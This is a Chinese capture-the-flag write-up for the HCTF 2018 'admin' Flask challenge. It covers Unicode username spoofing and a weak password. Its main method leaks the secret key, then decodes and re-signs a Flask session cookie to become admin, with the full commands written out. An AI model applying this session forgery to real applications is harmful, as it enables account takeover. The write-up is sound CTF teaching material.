Skip to content

Latest commit

 

History

History
43 lines (25 loc) · 1.8 KB

[HCTF 2018]admin.md

File metadata and controls

43 lines (25 loc) · 1.8 KB

[HCTF 2018]admin

知识点

``

1.非预期解

1.1.Unicode欺骗

ᴬᴰᴹᴵᴺ

1.2.弱口令

我注册了admin1,密码是123,登录的时候少输了,输成了admin,直接拿到了flag,所以密码居然直接是123......

2.预期解

随便注册账号登录后发现在修改密码处找到了https://github.com/woadsl1234/hctf_flask/

进入github看一下,目前已经删除了,看以前的wp能发现加密密钥在config.py里,为cjk123

session

需要sessionadmin 因为flask是轻量级web框架,session存在客户端,所以我们可以伪造session

使用flask-session-cookie-manager

加密

python3 flask_session_cookie_manager3.py decode -c ".eJw9kMuKwkAQRX9lqHUWebkRXEQ6hglUhYSOoXojjhM1nbQDUZnY4r9P64Dbe6jDvXWHzX5sz0eYX8Zr68Gm-4b5HT6-YA6FxFBJ6lmSQZ3EKFZ9IahTpoyVXHZs1oYE31DgjeXyyTRmVYdNHSvNvpLlpExtSVNfNDxDeQiKrJ6cLWLLM9KrQRn-Jbke3E1UZOw4zkimMds6VC5zjhvZvCdx8MligDrv2Xy-chSVRlO6jskCHh7szuN-c_np29N7AoXrI9mhU8Jps2qgMA1IPOsnAVqeVLMyZJXGphrQpNbpIiwXL11ntof2bSqbnKvkn5y2xgHYgQfXczu-fgaBD48_zF9qFg.Zb4-YQ.6KG3ddkMAqWZ0Ev3ixN5XmxfkOE" -s "ckj123"

alt text

重新加密

python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'936e3da3f20801d83bfd8e0bbef462032a0d83c0db1e8f64e41fe363d9f91858e16c7c6961eff055e1e78f58c9518c56ee7e4272d48473522dbb7e4204c2d6e0', 'csrf_token': b'7ea79bd394de7a5448e05361eaf76c1de2a32d71', 'image': b'AbXD', 'name': 'admin', 'user_id': '10'}"

alt text

总结:因flasksession保存在客户端中的(Cookie),导致session可修改,找到密钥后把解密后的用户名处改为admin重新加密cookie即可获取flag